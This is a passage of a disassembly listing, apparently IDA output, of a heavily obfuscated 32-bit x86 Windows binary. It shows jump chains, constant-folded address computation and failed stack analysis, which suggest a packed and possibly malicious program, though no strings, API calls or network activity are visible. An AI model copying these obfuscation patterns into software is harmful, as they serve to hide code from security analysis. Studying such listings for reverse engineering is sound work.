; START	OF FUNCTION CHUNK FOR sub_40E449


loc_407AFC:				; CODE XREF: sub_40E449+2EBj
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_40E449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABD5


loc_407B01:				; CODE XREF: sub_40ABD5:loc_405E9Cj
		shl	al, cl
		push	0C45FAE27h
		pop	edx
		add	edx, 0AE858952h
		add	edx, ebp
		add	edx, 8D1AC86Bh
		push	offset sub_40B67D


loc_407B1C:				; CODE XREF: _837l4vi2:00405836j
		jmp	loc_40F15C
; END OF FUNCTION CHUNK	FOR sub_40ABD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_407B21:				; CODE XREF: sub_409D6B+Fj
		and	ebx, ecx
; END OF FUNCTION CHUNK	FOR sub_409D6B

; =============== S U B	R O U T	I N E =======================================



sub_407B23	proc near		; CODE XREF: sub_40CBA6+3p
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		call	sub_40C5A3


loc_407B2D:				; CODE XREF: sub_40D735+3208j
		jmp	loc_40B569
sub_407B23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_407B32:				; CODE XREF: sub_40B67D-440j
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4098CA


loc_407B37:				; CODE XREF: sub_4098CA+6j
		or	edx, esi
		pop	esi
		push	offset loc_4092F4
		jmp	loc_40C58F
; END OF FUNCTION CHUNK	FOR sub_4098CA
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: _837l4vi2:00408966j
		pop	eax
		jmp	loc_410EF1
; ---------------------------------------------------------------------------
		mov	ds:dword_40D3E0, eax
		push	offset sub_40855B
		jmp	loc_410B62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB01


loc_407B59:				; CODE XREF: sub_40FB01-90EFj
		push	offset byte_40CFCD
		jmp	loc_40A2E7
; END OF FUNCTION CHUNK	FOR sub_40FB01

; =============== S U B	R O U T	I N E =======================================



sub_407B63	proc near		; DATA XREF: sub_41087A:loc_40C82Bo
		call	sub_409218
		call	sub_40B5A9
sub_407B63	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40E302


loc_407B6D:				; CODE XREF: sub_40E302+19j
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_40E302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_407B72:				; CODE XREF: sub_40A454-1241j
		jmp	loc_407CEF
; END OF FUNCTION CHUNK	FOR sub_40A454
; ---------------------------------------------------------------------------


loc_407B77:				; CODE XREF: _837l4vi2:004058C4j
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------
		xchg	ecx, edi
		jmp	sub_4068BD
; ---------------------------------------------------------------------------


loc_407B83:				; CODE XREF: _837l4vi2:0040FFF5j
		push	80000000h
		mov	eax, [ebp-8]
		call	sub_4067F8
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_407B90:				; CODE XREF: sub_40DF72+2D22j
		jmp	loc_407ABF
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_407B95:				; CODE XREF: sub_4064E6+4998j
		jmp	loc_40F774
; END OF FUNCTION CHUNK	FOR sub_4064E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097F1


loc_407B9A:				; CODE XREF: sub_4097F1+3j
		jmp	loc_4100C8
; END OF FUNCTION CHUNK	FOR sub_4097F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4069F5


loc_407B9F:				; CODE XREF: sub_4069F5+11j
		jmp	loc_407D72
; END OF FUNCTION CHUNK	FOR sub_4069F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_407BA4:				; CODE XREF: sub_40CEC1+30DBj
		jz	loc_4083F4
		jmp	loc_40B596
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104F4


loc_407BAF:				; CODE XREF: sub_4104F4-9AA7j
		xor	edx, 272989E8h
		add	edx, 0D9970B0Dh
		xchg	edx, [esp+4+var_4]
		jmp	loc_40D514
; END OF FUNCTION CHUNK	FOR sub_4104F4
; ---------------------------------------------------------------------------


loc_407BC3:				; CODE XREF: _837l4vi2:loc_40F0D6j
		jnz	loc_409C0B
		jmp	loc_40BEA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B601


loc_407BCE:				; CODE XREF: sub_40B601:loc_40FA7Cj
		rol	ebx, 4
		sub	edx, ebp
		sub	edi, 0C11BA378h
		jmp	loc_40E72D
; END OF FUNCTION CHUNK	FOR sub_40B601
; ---------------------------------------------------------------------------
		test	al, al
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_407BE0:				; CODE XREF: sub_407FEA:loc_40EC02j
		jz	loc_405EC3
		jmp	loc_407387
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_407BEB:				; CODE XREF: sub_40833D+67A6j
		jz	loc_408633
		jmp	loc_40A1DC
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405E3F


loc_407BF6:				; CODE XREF: sub_405E3F+17j
		add	edx, 0AF935F76h
		push	edi
		pushf
		push	90B30D34h
		xchg	esi, [esp+8+var_8]
		mov	edi, esi
		pop	esi
		jmp	loc_40F7DE
; END OF FUNCTION CHUNK	FOR sub_405E3F

; =============== S U B	R O U T	I N E =======================================



sub_407C0E	proc near		; CODE XREF: _837l4vi2:loc_40FC95j
					; DATA XREF: _837l4vi2:0040A5EDo
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_407C0E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C12	proc near		; CODE XREF: _837l4vi2:loc_40B050p
					; sub_4108AF-2B94p

; FUNCTION CHUNK AT 00407789 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_407789
sub_407C12	endp

; ---------------------------------------------------------------------------
		push	ebp
		jmp	sub_4091E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B250


loc_407C21:				; CODE XREF: sub_40B250:loc_40A8E8j
		pop	edx
		add	edx, 0A1B0DA4Eh
		xchg	edx, [esp-4+arg_0]
		jmp	loc_409743
; END OF FUNCTION CHUNK	FOR sub_40B250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_407C30:				; CODE XREF: sub_410E1F:loc_40859Dj
		xor	edx, esi
		jbe	loc_40DE3C
		jmp	loc_408271
; END OF FUNCTION CHUNK	FOR sub_410E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_407C3D:				; CODE XREF: sub_405250:loc_40525Bj
		jnz	loc_40879F
		jmp	loc_40914E
; END OF FUNCTION CHUNK	FOR sub_405250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_407C48:				; CODE XREF: sub_40A454-31F1j
		mov	[edx], eax


loc_407C4A:				; CODE XREF: sub_40DFF5:loc_40E05Ej
		call	nullsub_3
		retn
; END OF FUNCTION CHUNK	FOR sub_40A454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF31


loc_407C50:				; CODE XREF: sub_40FF31+Ej
		jmp	locret_40A575
; END OF FUNCTION CHUNK	FOR sub_40FF31
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_407C56:				; CODE XREF: sub_40C162+436Bj
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_407C5B:				; CODE XREF: sub_407AA4+7183j
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------


loc_407C60:				; CODE XREF: _837l4vi2:0040DD30j
		jmp	sub_40E13A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_407C65:				; CODE XREF: sub_40AA44-5103j
					; sub_40AA44+11j
		call	sub_40BF48
		test	al, al
		jz	loc_40F29B
		jmp	loc_40CE40
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
		push	eax
		call	sub_40B75E
; START	OF FUNCTION CHUNK FOR sub_40F471


loc_407C7D:				; CODE XREF: sub_40F471+Cj
		jmp	sub_408F75
; END OF FUNCTION CHUNK	FOR sub_40F471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F030


loc_407C82:				; CODE XREF: sub_40F030+Dj
		jmp	sub_406C77
; END OF FUNCTION CHUNK	FOR sub_40F030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_407C87:				; CODE XREF: sub_409127+489Bj
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_40D9B0
		pop	ecx
		jmp	loc_407978
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_407C9D:				; CODE XREF: sub_40F812:loc_40AA18j
		call	sub_40E9D8
		test	al, al
		jz	locret_40E9D2
		jmp	loc_40B6E4
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------


loc_407CAF:				; DATA XREF: sub_40C0FD+3531o
		push	0F6D69813h
		pop	eax
		xor	eax, 0F5B27EECh
		add	eax, 0FCDBC481h
		popf
		jmp	loc_40FD0F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A222


loc_407CC8:				; CODE XREF: sub_40A222+8j
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_40A222
; ---------------------------------------------------------------------------
		or	ebx, edi
		jmp	sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA1B


loc_407CD4:				; CODE XREF: sub_40CA1B:loc_40E603j
		mov	ecx, edi
		xor	ebx, esi
		jmp	sub_40EAE8
; END OF FUNCTION CHUNK	FOR sub_40CA1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_407CDD:				; CODE XREF: sub_40DF72:loc_4077D0j
					; sub_40DF72+1471j
		push	offset loc_408A04
		jmp	loc_40654A
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D84E


loc_407CE7:				; CODE XREF: sub_40D84E+Cj
		mov	[ebp+var_C], eax
		xor	eax, eax
		mov	[ebp+var_8], eax
; END OF FUNCTION CHUNK	FOR sub_40D84E
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_407CEF:				; CODE XREF: sub_40A454:loc_407B72j
		jns	loc_40777A
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_40920D
		mov	eax, [ebp-4]
		jmp	loc_40D1E7
; END OF FUNCTION CHUNK	FOR sub_40A454
; ---------------------------------------------------------------------------


loc_407D09:				; CODE XREF: _837l4vi2:00409A30j
		rol	edx, 18h

; =============== S U B	R O U T	I N E =======================================



sub_407D0C	proc near		; CODE XREF: sub_40D7F5:loc_40944Fp

; FUNCTION CHUNK AT 0040B46D SIZE 0000000E BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	4CB68120h
		pop	ebx
		add	ebx, 9D5E517Ah
		jmp	loc_40B46D
sub_407D0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE0E


loc_407D21:				; CODE XREF: sub_40CE0E+Ej
		test	al, al
		jz	loc_40D192
		mov	eax, [ebp-4]


loc_407D2C:				; CODE XREF: sub_408567+1FD6j
		call	nullsub_4
		retn
; END OF FUNCTION CHUNK	FOR sub_40CE0E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBC2


loc_407D33:				; CODE XREF: sub_40CBC2+1856j
		jmp	loc_40822F
; END OF FUNCTION CHUNK	FOR sub_40CBC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4054EA


loc_407D3A:				; CODE XREF: sub_4054EA+Aj
		jmp	loc_40B8C1
; END OF FUNCTION CHUNK	FOR sub_4054EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_407D3F:				; CODE XREF: sub_4108F9+7j
		pop	eax
		push	30B66A25h
		pop	eax
		add	eax, 0CF8AA627h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40E7BB
		jmp	loc_40FC5D
; END OF FUNCTION CHUNK	FOR sub_4108F9

; =============== S U B	R O U T	I N E =======================================



sub_407D5B	proc near		; DATA XREF: _837l4vi2:0040CFCFo
		jz	loc_40EB2A
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_40EB2A
		call	sub_407D7F
sub_407D5B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4069F5


loc_407D72:				; CODE XREF: sub_4069F5:loc_407B9Fj
		jnz	loc_40EB2A
		mov	eax, ebx
		jmp	loc_40EB2C
; END OF FUNCTION CHUNK	FOR sub_4069F5

; =============== S U B	R O U T	I N E =======================================



sub_407D7F	proc near		; CODE XREF: sub_40A526:loc_4069C0p
					; sub_4069F5+Cp ...

; FUNCTION CHUNK AT 004069A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B5F0 SIZE 00000005 BYTES

		mov	eax, [ebx+ecx]
		jmp	loc_40B5F0
sub_407D7F	endp

; ---------------------------------------------------------------------------

locret_407D87:				; CODE XREF: _837l4vi2:loc_408589j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408055


loc_407D88:				; CODE XREF: sub_408055+14j
		jmp	loc_40CF25
; END OF FUNCTION CHUNK	FOR sub_408055
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_407D8D:				; CODE XREF: sub_40611B+3EFj
		call	sub_40698A


loc_407D92:				; CODE XREF: sub_4053DD+24DDj
		jmp	loc_409372
; END OF FUNCTION CHUNK	FOR sub_40611B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_407D97:				; CODE XREF: sub_40DEDE-5468j
		pop	ebp
		push	ds:dword_41001C
		retn
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; ---------------------------------------------------------------------------


loc_407D9F:				; CODE XREF: _837l4vi2:0040CA3Bj
		jmp	loc_406727
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40800E


loc_407DA4:				; CODE XREF: sub_40800E+4j
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		push	offset sub_409D32
		jmp	loc_40A609
; END OF FUNCTION CHUNK	FOR sub_40800E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_407DB3:				; CODE XREF: sub_406ADC+8C93j
		and	ebp, 0FE5A9963h
		test	ebx, esi
		jmp	loc_407E92
; END OF FUNCTION CHUNK	FOR sub_406ADC

; =============== S U B	R O U T	I N E =======================================



sub_407DC0	proc near		; DATA XREF: sub_4064CE+Eo

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0040CE5F SIZE 00000014 BYTES

		push	dword ptr [ebp-4]
		call	sub_407DD5
		push	dword ptr [ebp-4]
		call	sub_406477
		jmp	loc_40CE5F
sub_407DC0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407DD5	proc near		; CODE XREF: sub_407DC0+3p
		push	ebp
		jmp	loc_41076D
sub_407DD5	endp

; ---------------------------------------------------------------------------

locret_407DDB:				; CODE XREF: _837l4vi2:loc_408F76j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEB5


loc_407DDC:				; CODE XREF: sub_40CEB5:loc_408417j
		xor	eax, 0AC87BAE2h
		add	eax, ebp
		add	eax, 1C095BCBh
		mov	eax, [eax]
		mov	esp, ebp
		jmp	loc_409715
; END OF FUNCTION CHUNK	FOR sub_40CEB5

; =============== S U B	R O U T	I N E =======================================



sub_407DF3	proc near		; CODE XREF: _837l4vi2:0040AD5Ap

; FUNCTION CHUNK AT 00410B58 SIZE 00000005 BYTES

		mov	[esp+0], eax
		push	offset loc_40B050


loc_407DFB:				; CODE XREF: _837l4vi2:loc_40E6C7j
		jmp	loc_410B58
sub_407DF3	endp

; ---------------------------------------------------------------------------
		push	offset loc_40EBAF
		jmp	locret_40CCFC

; =============== S U B	R O U T	I N E =======================================



sub_407E0A	proc near		; CODE XREF: _837l4vi2:00405082p

; FUNCTION CHUNK AT 0040A604 SIZE 00000005 BYTES

		push	offset loc_405F52
		jmp	loc_40A604
sub_407E0A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_407E14:				; CODE XREF: sub_40B67D:loc_40BDB0j
		rol	ecx, 0Eh
		cmp	ecx, 0E8B97605h
		jmp	loc_405E77
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_407E22:				; CODE XREF: sub_40A8FE+6689j
		add	ebp, 0A8C85DDh
		mov	edi, ebp
		mov	edi, [edi]
		xor	edi, eax
		jmp	loc_40F0D1
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_407E33:				; CODE XREF: sub_409E44+4ADEj
		jnz	loc_40F00B
		jmp	loc_40E4E9
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------


loc_407E3E:				; DATA XREF: sub_408769-211Do
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4058D4
		call	sub_409D6B


loc_407E4D:				; CODE XREF: _837l4vi2:loc_40CF80j
		push	759A9162h
		pop	edx
		rol	edx, 6
		jmp	loc_40FE66
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_407E5C:				; CODE XREF: sub_40833D+2A56j
					; _837l4vi2:0040F397j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40833D

; =============== S U B	R O U T	I N E =======================================



sub_407E61	proc near		; CODE XREF: sub_408736-36Dp
					; sub_408736:loc_409070j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409417 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040A18C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040BF08 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00410EB8 SIZE 00000016 BYTES

		jns	loc_40BF08
		push	5667D964h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp


loc_407E71:				; CODE XREF: sub_40CD8A:loc_40C9EBj
		jmp	loc_410EB8
sub_407E61	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_407E76:				; CODE XREF: sub_407AA4:loc_40B62Cj
		push	eax
		call	sub_40E927
		call	sub_406477
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_407E84:				; CODE XREF: sub_40882B+44B3j
		jmp	loc_40BFC3
; END OF FUNCTION CHUNK	FOR sub_40882B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E89	proc near		; DATA XREF: sub_40BF48-483Do

; FUNCTION CHUNK AT 0040AD2C SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40AD2C
sub_407E89	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_407E92:				; CODE XREF: sub_406ADC+12DFj
		jnp	loc_40AC94
		xor	ebp, edx
		pushf
		mov	ecx, eax
		jmp	loc_40C1DD
; ---------------------------------------------------------------------------


loc_407EA2:				; CODE XREF: sub_406ADC+870Bj
		jnz	loc_40AC6A
		jmp	loc_411044
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0D2


loc_407EAD:				; CODE XREF: sub_40D0D2:loc_410C52j
		pop	eax
		add	eax, 65C6E81Dh
		or	eax, ds:4000CEh
		add	eax, 73C6CB4Fh
		add	eax, ebp
		add	eax, 0AC39C53Ah
		mov	eax, [eax]
		jmp	loc_4066E1
; END OF FUNCTION CHUNK	FOR sub_40D0D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_407ECF:				; CODE XREF: sub_405FB4+Fj
		jnz	loc_40F52A
		call	sub_40B088
		mov	edx, 0F2B89A19h
		push	edi
		mov	[esp-8+arg_4], ecx
		jmp	loc_409C88
; END OF FUNCTION CHUNK	FOR sub_405FB4

; =============== S U B	R O U T	I N E =======================================



sub_407EE8	proc near		; CODE XREF: sub_40778E+7j

var_4		= dword	ptr -4

		push	ebp
		mov	[esp+4+var_4], ecx
		call	sub_405FB4
sub_407EE8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40529C


loc_407EF1:				; CODE XREF: sub_40529C+4j
		jmp	loc_405C62
; END OF FUNCTION CHUNK	FOR sub_40529C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EF6	proc near		; DATA XREF: sub_40E13Ao

var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00407836 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004096CF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A6A4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040B821 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C585 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB5D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040DDE4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040F744 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0040F752 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		jns	sub_40A6B5
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jmp	loc_40A6A4
sub_407EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F11	proc near		; CODE XREF: sub_408CD1p
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		mov	ebp, offset loc_407F2C
		xchg	ebp, [esp+0]
		retn
sub_407F11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407756


loc_407F22:				; CODE XREF: sub_407756+13j
		jmp	loc_40D155
; END OF FUNCTION CHUNK	FOR sub_407756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_407F27:				; CODE XREF: sub_4061B1+12E1j
		jmp	loc_40B412
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------


loc_407F2C:				; DATA XREF: sub_407F11+8o
		push	0DED0BB0Ch
		jmp	loc_405C12
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_407F37:				; CODE XREF: _837l4vi2:loc_409A5Bj
		call	sub_40A418
		test	eax, eax
		jnz	loc_40D885
		jmp	loc_40C6A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_407F49:				; CODE XREF: sub_406BF8:loc_410025j
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_40CE00
; ---------------------------------------------------------------------------


loc_407F54:				; CODE XREF: sub_406BF8:loc_406C06j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_40ED44
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		jmp	loc_40CDFD
; END OF FUNCTION CHUNK	FOR sub_406BF8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F6B	proc near		; CODE XREF: sub_406477+6j

; FUNCTION CHUNK AT 0040517E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410428 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_410428
sub_407F6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F76	proc near		; DATA XREF: sub_4061A1:loc_40B2FEo
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_406D68[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_406C06
sub_407F76	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_405D62


loc_407F8D:				; CODE XREF: sub_406BF8+8j
					; sub_405D62:loc_409E39j
		jo	loc_40CD59
		cmp	dword ptr [ebp-1Ch], 0Fh
		jmp	loc_40843B
; END OF FUNCTION CHUNK	FOR sub_405D62
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebx
		jmp	sub_40D6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_407FA3:				; CODE XREF: sub_40A58E:loc_40D8C3j
		call	sub_409926
		push	eax
		call	sub_40A418
		test	eax, eax
		jnz	loc_40D885
		jmp	loc_4103E1
; END OF FUNCTION CHUNK	FOR sub_40A58E

; =============== S U B	R O U T	I N E =======================================



sub_407FBB	proc near		; DATA XREF: _837l4vi2:0040F876o
		push	eax
sub_407FBB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D735


loc_407FBC:				; CODE XREF: sub_40D735-74F3j
		push	9271349Dh
		pop	eax
		xor	eax, 9271349Dh
		xchg	eax, [esp+0]
		jmp	loc_40A21C
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		jz	loc_4089ED
		jmp	sub_406178
; ---------------------------------------------------------------------------


loc_407FDB:				; DATA XREF: sub_407D7F:loc_4069A0o
		xor	eax, [ebx+ecx+4]
		push	offset sub_40FECA
		jmp	locret_40DC7D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_407FEA	proc near		; CODE XREF: sub_4087B2+11j
					; sub_40B088+7BAp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405449 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00407387 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407BE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408038 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004081B9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00408E46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004091F5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00409F74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040A0EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040A2B6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040AA60 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B293 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B372 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040C30C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040C4F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040C658 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C7DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C815 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040CF9B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040EC02 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040ED76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EF8F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00410AA7 SIZE 0000000B BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_15


loc_407FFA:				; CODE XREF: sub_4087B2+Bj
					; sub_40C7CD+4j
		js	loc_40C7DC
		push	eax
		push	0
		jmp	loc_408E46
sub_407FEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_408008:				; CODE XREF: _837l4vi2:0040D6A6j
		jnb	sub_410E72

; =============== S U B	R O U T	I N E =======================================



